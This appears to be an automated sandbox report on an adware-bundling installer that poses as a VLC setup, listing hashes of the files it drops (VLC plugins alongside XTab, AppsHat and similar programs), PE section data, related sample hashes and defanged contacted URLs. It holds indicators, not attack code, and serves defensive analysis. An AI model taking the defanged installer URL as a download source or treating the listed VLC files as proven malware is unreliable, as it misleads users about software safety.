6acf608863191fd1ef88da84bd5e211b	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdirac_plugin.dll
ef535cb45c315e305a731407b74b34f3	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libes_plugin.dll
b4d6a1f8c35bb1e8b13df21b06c1e316	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libflacsys_plugin.dll
f560de3a9e198c499c08091707361fe1	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libgme_plugin.dll
aa4a6078ec6cdc0908394b7136eed402	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libh264_plugin.dll
29a8cc1f748e9d7ca2fdf81ad63c2153	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libimage_plugin.dll
850460a413ce45412202572227c9f944	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\liblive555_plugin.dll
5439f08e3de3c4fcbaa3b3537bf8d6d8	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmjpeg_plugin.dll
8e75215f3765ace69e3a480042950e5e	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmkv_plugin.dll
00f5425d489e707f28401a2fa48e144d	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmod_plugin.dll
c4f88acdec016542edcc9247b9b19970	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll
0d97a9c152803ab197605937bbbe390f	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmpc_plugin.dll
9d7d8c289614a2284b5dd74b72d90738	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmpgv_plugin.dll
192cac1d61ea3cfc8fd76264e7d82e64	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libnsc_plugin.dll
265f378b75fd3ddbd4f6cc532b711db9	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libnsv_plugin.dll
e53a5e9846b04433ff7791b4ff4520ce	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libnuv_plugin.dll
ab59088d97c3e68869db4cfb0fe152f1	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libogg_plugin.dll
8e633aa0f9c134e0f7e68ca401e56150	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libplaylist_plugin.dll
8f5b24e152387b6335d83438aaf37c69	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libps_plugin.dll
23262990d23194c89296d840637cd204	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libpva_plugin.dll
a3d2c1de9057ac09494e62ba27a1e722	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\librawaud_plugin.dll
8f50a5d9fe66920dcdac0072d45279ae	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\librawdv_plugin.dll
a4ec8a35ae1d1f0f77b197a0636aaaf9	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\librawvid_plugin.dll
309b4f5ad798583ba8a6ccd8edf3ce15	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libreal_plugin.dll
1b8d1f8b416d507746cf56cd09e0628d	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsid_plugin.dll
0f123ce5e61925580b9a9c2135560235	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsmf_plugin.dll
e084b73fdbd4b25643a86348fe3d8f97	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll
2f284608ba21a9d3008abc1454aef0f9	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libts_plugin.dll
200148b28d8470bcdea286dd97c3d09f	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libtta_plugin.dll
5280478b6f400d4d5743f695d73551a5	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libty_plugin.dll
78a7f6d843af153f6ad1e7ce2dce4be1	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libvc1_plugin.dll
ebdb66807190e51b836fa70bfb589a35	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libvobsub_plugin.dll
35686b05e1e8cecd4864e115eb364bc7	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libvoc_plugin.dll
ee5c75fc2c5dcf000232bcee182f2aa0	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libwav_plugin.dll
4345ac956b4079b6e3048c705cc458aa	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libxa_plugin.dll
14efc2356fe6b79b3024abf7b228f4a1	c:\Program Files (x86)\VideoLAN\VLC\plugins\gui\libqt4_plugin.dll
cb4f02b51b61ad761bd8718918863ab7	c:\Program Files (x86)\VideoLAN\VLC\plugins\gui\libskins2_plugin.dll
c3a27b0e237525a4b2c43b2b993093de	c:\Program Files (x86)\VideoLAN\VLC\plugins\lua\liblua_plugin.dll
9ea62f63c07e94a4e70436668078bc7e	c:\Program Files (x86)\VideoLAN\VLC\plugins\meta_engine\libfolder_plugin.dll
3b07d843b8eb8118b3828f341ebf2508	c:\Program Files (x86)\VideoLAN\VLC\plugins\meta_engine\libtaglib_plugin.dll
6d9c7a8f6a2c6c70483ba74f9537f53e	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libaudioscrobbler_plugin.dll
61897695afcd52f424511400a9fc52db	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libexport_plugin.dll
7386e9ca03ecb55bfc5b9210c976598e	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libgnutls_plugin.dll
51b92b25df7e524d9912f924aeb0e7af	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\liblogger_plugin.dll
184b5ec34a8b69005074f743af3fd6b8	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libmemcpy_plugin.dll
5de8c0315a44182119a26bf996e591c5	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libosd_parser_plugin.dll
fd9cbc5facd318543e77275e36d5cb75	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libstats_plugin.dll
5c53984f06bcf5897a534c06017ca1ac	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libvod_rtsp_plugin.dll
c0f2354ed64fb0a05a644956dc923620	c:\Program Files (x86)\VideoLAN\VLC\plugins\misc\libxml_plugin.dll
7d7937b0fdbbebbce54db945bdc56ee3	c:\Program Files (x86)\VideoLAN\VLC\plugins\mmx\libi420_rgb_mmx_plugin.dll
bb71efcb8ac9b657d87bc03b11ca468d	c:\Program Files (x86)\VideoLAN\VLC\plugins\mmx\libi420_yuy2_mmx_plugin.dll
dd088ff395cd38a04eb009a57ee6d240	c:\Program Files (x86)\VideoLAN\VLC\plugins\mmx\libi422_yuy2_mmx_plugin.dll
d2cb5d278c6c9888afe92f6cb637daa9	c:\Program Files (x86)\VideoLAN\VLC\plugins\mmx\libmemcpymmx_plugin.dll
4197146bb707b3b27cc375533801feef	c:\Program Files (x86)\VideoLAN\VLC\plugins\mmxext\libmemcpymmxext_plugin.dll
d59f3361c384ffbe70cdeb8718f52dd9	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_asf_plugin.dll
a64a2d2196ee92aa9a3347b7f1aee972	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_avi_plugin.dll
5d85cd5a4ae522c1dfee3a6d0bf748c8	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_dummy_plugin.dll
71c5bb09870655f83605573d1f219482	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_mp4_plugin.dll
5a454c60be6b4ac164624e5b0fc2bdb6	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_mpjpeg_plugin.dll
16a185479698c3a6db741080a8e610bb	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_ogg_plugin.dll
ae3d3c568d8c37311b5538ea219b52ae	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_ps_plugin.dll
1676f30d0c3c1d387382f3f83c0869bc	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_ts_plugin.dll
eeed34457f310be5d0db499260ce89cc	c:\Program Files (x86)\VideoLAN\VLC\plugins\mux\libmux_wav_plugin.dll
ad61cb401c11dad142e1955a4e1167fa	c:\Program Files (x86)\VideoLAN\VLC\plugins\notify\libmsn_plugin.dll
9c4845dc30206c7d82bd1634db043131	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_copy_plugin.dll
c103a0c0427e202d758a105fbf6cf54b	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_dirac_plugin.dll
26c0fb43ed602cb3748a8fbd7d4ade44	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_flac_plugin.dll
bbe54b559725f106b7ab99c794b82181	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_h264_plugin.dll
b5e7ae40028dd796848deb5c3b3c1f6d	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mlp_plugin.dll
c6f94ef67c420b6c7b195d4194e234b6	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4audio_plugin.dll
c249e908ab9cf86f4fd9f840fa29c32f	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4video_plugin.dll
5823b722eac81d29d92b3ce652a5ca90	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpegvideo_plugin.dll
092375cee7ea8900d7ddec1b161a0f35	c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_vc1_plugin.dll
87dce361543810e7184c7f9ec92b18c8	c:\Program Files (x86)\VideoLAN\VLC\plugins\services_discovery\libmediadirs_plugin.dll
23ec38b29ed49263ce06e51a8ec7d631	c:\Program Files (x86)\VideoLAN\VLC\plugins\services_discovery\libpodcast_plugin.dll
201a9b2ad00f9782841a9f18ded17d72	c:\Program Files (x86)\VideoLAN\VLC\plugins\services_discovery\libsap_plugin.dll
c42cfa2cbf022c5df421be0d5516bff6	c:\Program Files (x86)\VideoLAN\VLC\plugins\services_discovery\libupnp_plugin.dll
41918b1cdaaf6f47c8a3145857267444	c:\Program Files (x86)\VideoLAN\VLC\plugins\services_discovery\libwindrive_plugin.dll
0f32c46097326e94aeb7389b001ce872	c:\Program Files (x86)\VideoLAN\VLC\plugins\sse2\libi420_rgb_sse2_plugin.dll
87b784fb01db04e26fe5531964a6c7b7	c:\Program Files (x86)\VideoLAN\VLC\plugins\sse2\libi420_yuy2_sse2_plugin.dll
2cddbdd90c5a1686f3b6cc609ab47c26	c:\Program Files (x86)\VideoLAN\VLC\plugins\sse2\libi422_yuy2_sse2_plugin.dll
41817ecf5d2ef902588474fe8deb3b55	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_dash_plugin.dll
ccf251f23b55b3c7a12680d47d45e561	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_httplive_plugin.dll
a19b056ebab5b14eff0fd65b35292e74	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_record_plugin.dll
5825d7e34143da127306a994d2c9a292	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_autodel_plugin.dll
79a4f3cf9110192d9fce068857c363c2	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_bridge_plugin.dll
bf0f6a501f1072c476b04c282163c08b	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_delay_plugin.dll
bf54595f2547568dee74086cd6492dea	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_description_plugin.dll
03a67f5411757f174368423b639fa7d4	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_display_plugin.dll
c1b07547369d8b810a05ac1503567e9b	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_dummy_plugin.dll
77192c3a78932df4e6bbe6f1d2d628aa	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_duplicate_plugin.dll
7bfc6b76ecef5ec7531bda08306945d5	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_es_plugin.dll
41c2e059ada54dfa9d0027611adb3004	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_gather_plugin.dll
e1b27bd7480df4aaacfc66dcedbe7097	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_langfromtelx_plugin.dll
9de00563fb1baa9ca1a8a3b7d014af0c	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_mosaic_bridge_plugin.dll
1a5bc90d24a6b143332af0227aecf7fb	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_raop_plugin.dll
51cff21e147325c7893258e575944ebb	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_record_plugin.dll
052f273430e78a5eb70ad58873f55968	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_rtp_plugin.dll
0b3327e353109210d1a494b13a37563c	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_select_plugin.dll
18684611a0c25165c7f039220ab58e37	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_setid_plugin.dll
8aaa9f6b8dfb7243828ddd574cbecea5	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_smem_plugin.dll
11ecf4145cc35a4d68d33b5018788d7e	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_standard_plugin.dll
49276e879ecc4cb7a78df71d6a978160	c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_transcode_plugin.dll
2cffc943399952f80fc861664d5a38ef	c:\Program Files (x86)\VideoLAN\VLC\plugins\text_renderer\libfreetype_plugin.dll
0c23a4655d597a5236a6c647af7e67cf	c:\Program Files (x86)\VideoLAN\VLC\plugins\text_renderer\libtdummy_plugin.dll
c130cd5cffdc9409fa9c39f6bb89ab3d	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libgrey_yuv_plugin.dll
379ababcd4cbae0b4f1b4c75b8cbf736	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_rgb_plugin.dll
fdc703f5dcdb2fcb5fd31b0e1d0453d0	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_yuy2_plugin.dll
a3681a6b3b02f75fe96c3f02c660d36f	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_i420_plugin.dll
ca5128aab097cc34678085436845a19d	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_yuy2_plugin.dll
62727ef99e04adc08182e80a624dfb8d	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\librv32_plugin.dll
11fa01b2fa790bc76a604f8ca7d958d4	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i420_plugin.dll
63d156f2696b43209bfb82c9c8a6f470	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i422_plugin.dll
dc68aaa80dfd4994dbd4be0583195f67	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libadjust_plugin.dll
ff1069cd6d934d8d4385b4359603217f	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libalphamask_plugin.dll
4b7c0fe6fb5176e2254ae79cf3241c73	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libantiflicker_plugin.dll
5e889ea8bfe8b49aaa6da5b3549bb3bf	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libatmo_plugin.dll
81202d12045520ab7bd4a390b05b64bd	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libaudiobargraph_v_plugin.dll
fb5cdb1af3a4e9be27aca6184cf05571	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libball_plugin.dll
d1e703bd8b6707f9b712f96ab3e6ba5f	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libblend_plugin.dll
404490520049ced9fa7fe0821893afb2	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libblendbench_plugin.dll
b51270f05d0a9cfb12270f74c4a8aca7	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libbluescreen_plugin.dll
664eace01bfd15de2f87049ff26eceb9	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libcanvas_plugin.dll
6061c3dec7be29becae5814dad14de31	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libchain_plugin.dll
7f9dd77437c5fc5ba2aa898d327c769c	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libclone_plugin.dll
c1c3e434091929cda677b6b84d938b22	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libcolorthres_plugin.dll
9af7bc93e6c9a815d8e0f897c79df2db	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libcroppadd_plugin.dll
e302fc85d15ded44ed5ad978145ebe91	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libdeinterlace_plugin.dll
d3a866fddaf60ae0299315f3837e2ab2	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\liberase_plugin.dll
f93ffbe02abf3a55a5065c12969930dd	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libextract_plugin.dll
7127cc5d723c19dcd0f51796cd4058f0	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libgaussianblur_plugin.dll
05bb06441a8fd2585c142cbec873d822	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libgradfun_plugin.dll
568a0e37623c08506a4920a78653ff8c	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libgradient_plugin.dll
1445aaf6d64e659f5343d4bd9d154fd4	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libgrain_plugin.dll
d63fbbbf42397cef0f6d19e07fffcb0b	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libhqdn3d_plugin.dll
a83188016bc5940ce7f314b2206b9ea7	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libinvert_plugin.dll
777934933191367752f6c32cebf0fe62	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\liblogo_plugin.dll
0e3b107e7e39b0dea82d2981c7f229b5	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmagnify_plugin.dll
8b4c53a1aaf5afce7611588d7eda7949	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmarq_plugin.dll
b32611145ac13542fd0afce831c9ff0e	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmirror_plugin.dll
7aaed4e5d8d122618fb680f1ff2965aa	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmosaic_plugin.dll
ee9b8552cada887e09a86d564380b7ca	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmotionblur_plugin.dll
e4f466849dd1cf5e1300519cb4629a64	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmotiondetect_plugin.dll
ac722b303e62f38f7c258dc673e47f35	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libosdmenu_plugin.dll
1f61ca0497fbcfc157252d03ba7db30d	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libpanoramix_plugin.dll
7d9377ef700e4d365f30e5cfa6b9f5a7	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libposterize_plugin.dll
5b3941a14726a646d4222fd50f518d11	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libpostproc_plugin.dll
91655d3c1a93485406b0307ebf9afb4c	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libpsychedelic_plugin.dll
bc4a94995a3fb82076267e61e43fc546	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libpuzzle_plugin.dll
8361f8739745b76e4aebdab8cabdbad9	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libremoteosd_plugin.dll
d34fd10750c043116ba3d0473901483b	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libripple_plugin.dll
fd7942281ff72a2b796717f3aeb77002	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\librotate_plugin.dll
e80c177ef2d15384d4fb39f1884ba35c	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\librss_plugin.dll
e78f445f857881ce3cc9227e4b15ef24	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libscale_plugin.dll
15a16b51104c30e579c7076d78a136b4	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libscene_plugin.dll
4f67a5a00daff4154441de31ce482f43	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libsepia_plugin.dll
9b77256accac881eca576dca90b4a18d	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libsharpen_plugin.dll
20a2fe19e9042f7e58f437155b8801e5	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libsubsdelay_plugin.dll
5a15506508914e98933811db65ba9cb7	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libswscale_plugin.dll
f96736d0e0e5a1fdbf48b6e08098329f	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libtransform_plugin.dll
7816d73f2d80d5522f6a633146fcbab6	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libwall_plugin.dll
0012c04213738072a7a41fa90757e3af	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libwave_plugin.dll
509faadf173a803fa9b7347a0daa102b	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libyuvp_plugin.dll
226883f1713eda7ed9150e94521a9a8b	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libcaca_plugin.dll
bcf2038ae729811f9e952d90b5438f69	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libdirect2d_plugin.dll
ebfbd46fa799beb118917840ff2b59ca	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libdirect3d_plugin.dll
823334fd3b1cfb5988e1a90564e71434	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libdirectx_plugin.dll
e2628f86841e9cacce9abc4f67ae0d76	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libdrawable_plugin.dll
38c4bdc3a398bf3b527d3df9c43ab7c8	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libglwin32_plugin.dll
0a88cf118fbe4805b679984f105815d8	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libvdummy_plugin.dll
781e5c0d2ecf931cccc4f5daabf6267e	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libvmem_plugin.dll
995b42652811a69f67ff74204e9af74c	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libwingdi_plugin.dll
e970abba2edf38d61ebac54171054069	c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libyuv_plugin.dll
e7292ee10c7825c71417ba4d0091c0b9	c:\Program Files (x86)\VideoLAN\VLC\plugins\visualization\libgoom_plugin.dll
bfe895a61b1590c39debb87208261361	c:\Program Files (x86)\VideoLAN\VLC\plugins\visualization\libprojectm_plugin.dll
ccd3f1eebfb8c29624e7202e10e0ecfa	c:\Program Files (x86)\VideoLAN\VLC\plugins\visualization\libvisual_plugin.dll
d2f7de9fd7347bbbb42520877788c6d5	c:\Program Files (x86)\VideoLAN\VLC\uninstall.exe
5deeffa7de3b818b832eafc14fe25944	c:\Program Files (x86)\VideoLAN\VLC\vlc-cache-gen.exe
1ef5b782dc95b24710d88fd5db6a1d14	c:\Program Files (x86)\VideoLAN\VLC\vlc.exe
a7998c55467d4884cb509e5c4cfdcfa2	c:\Program Files (x86)\XTab\BrowerWatchCH.dll
fbde6af89f9b351243c3f736a48a0543	c:\Program Files (x86)\XTab\BrowerWatchFF.dll
5785680870eff9ba7b4f58c726552013	c:\Program Files (x86)\XTab\BrowserAction.dll
77590ce0cdeb6bbee8dc056fea0b107c	c:\Program Files (x86)\XTab\CmdShell.exe
c04d8bc933470b3913e4e3e6c3115793	c:\Program Files (x86)\XTab\HPNotify.exe
a330b7929278b18a33e29bd4bb69abc3	c:\Program Files (x86)\XTab\IeWatchDog.dll
b32a88b91e59bfb553a9bebf78a1e567	c:\Program Files (x86)\XTab\ProtectService.exe
fece5b81614bd16ff043051f338183a0	c:\Program Files (x86)\XTab\SupTab.dll
3e29914113ec4b968ba5eb1f6d194a0a	c:\Program Files (x86)\XTab\msvcp110.dll
4ba25d2cbe1587a841dcfb8c8c4a6ea6	c:\Program Files (x86)\XTab\msvcr110.dll
852f4db9b269f52c54f37568d703825e	c:\Program Files (x86)\XTab\uninstall.exe
3525b3c9cafced38e0ab2334da7fb449	c:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe
3525b3c9cafced38e0ab2334da7fb449	c:\Users\All Users\WindowsMangerProtect\ProtectWindowsManager.exe
a9f1ecb4159ecaf56bbe555f81374f25	c:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe
12f16f340ddbe2638546c2923dcf4c30	c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\setup[1].exe_a
0603633d10d3efa684f0373fbe9a9030	c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\setup[1].exe
670f256253cad18c5f2584324d10b0a5	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\1D30.tmp
0a1d8c442bf10ba569bc89cf7dfc3855	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\tmp\STab_Down_6.0.6.8.exe
55bae15d523e4fabaa551023703d3fd9	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\tmp\XTab_v4.0.exe
3525b3c9cafced38e0ab2334da7fb449	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\tmp\wpm_v20.0.0.1714_0204.exe
518879abe3170dabd172dfffcd165598	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe
c66293ccd7cbe84b1b8f393ca5e4e6d7	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe
31f8d1cffb02dff93646f81d8ce3dd75	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe
69d2894206516657b7a06eeea5b917e5	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe
a3e3279b8b817cc508a654707f3ab17c	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe
4f9236be13917b89f7a03dea85f220fa	c:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe
d8ba5f4e6a1594d0e07c886dac0f5f8c	c:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe
822417141e4f877de2b8ca9a07da363b	c:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 2.1.0.0
File Description: Powered by BetterInstaller
Comments:
Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	28860	29184	4.36907	33e8227bf6edbf3997e3d0895494668e
.data	36864	140	512	0.818223	1b0351714f371c0ba066871d4e504b00
.rdata	40960	3196	3584	3.54441	88a268b1fac88e9fad865c68cf3abce2
.bss	45056	110088	0	0	d41d8cd98f00b204e9800998ecf8427e
.idata	155648	4932	5120	3.53424	11c816edc4ef9cc4aa5511f8a707232b
.ndata	163840	36864	1024	0	0f343b0931126a20f133d67c2b018a3b
.rsrc	200704	17800	17920	3.95009	38aa1bb4b24ba9d1eca880d3aa08b1cd

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 831
3fe02ef6a2ede61ce4dac40da7715dcd
da91bce76cb09a85213527c60e5407a0
cb7a667d4c8cf75d21d42ea5013e6fa0
42e27ac06103be5048016f0e6e8c6049
b94c654cb53b386124980e1ffb455e9e
cfe4fd52a52f8fd3b1ea8cfbb8b80626
107e4dff93c730f0dfd7b0fba2aba7c7
36e6c3f7d113d7aed4817f36ce61fde6
4db13cd773dcf47449d0417dc9b8db50
27fdf1e4ef4fc5b8b1bf6cabf9bb5ae7
21083708cec7aa3a0eabaafc119e16c2
b30b8b246c16dd7e1e091f165540b19a
89c5cee2a23b0d1af63816d2a9d22c1f
7e067d4730d1830d0b187fc9d5748bbc
53534b0486f99ae01aa5ed30dcd95210
dc841067513ef402d1d714d12e951155
06d34931408d4fd38b73c6e538eb0490
6e809b46ea57ad55e2beddebc295bde4
caef0bc3be4f8e1d2e82ca4727804073
07e1212a8012b9ac8ffda358e9fe7da7
c1ba6151a7baeadb18be09422ab69eb7
a808003aa90214609f262dcb4f55d6bd
da555c0a32c5b395325c0e5c78a069ff
652fb5335f1022044865a85392435928
df414b45546e43f107e7c6169e8edb54

URLs

URL	IP
hxxp://installer.betterinstaller.com/network_marimedia_1/vlcmediaplayervfps/dffadf6cea0603499f5ce29578e19940?v=2.1&uid=dffadf6cea0603499f5ce29578e19940&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://d2wy0yopxw6nne.cloudfront.net/images/Tokyo/tokyoLightGrayStripesBG.jpg	54.230.203.3
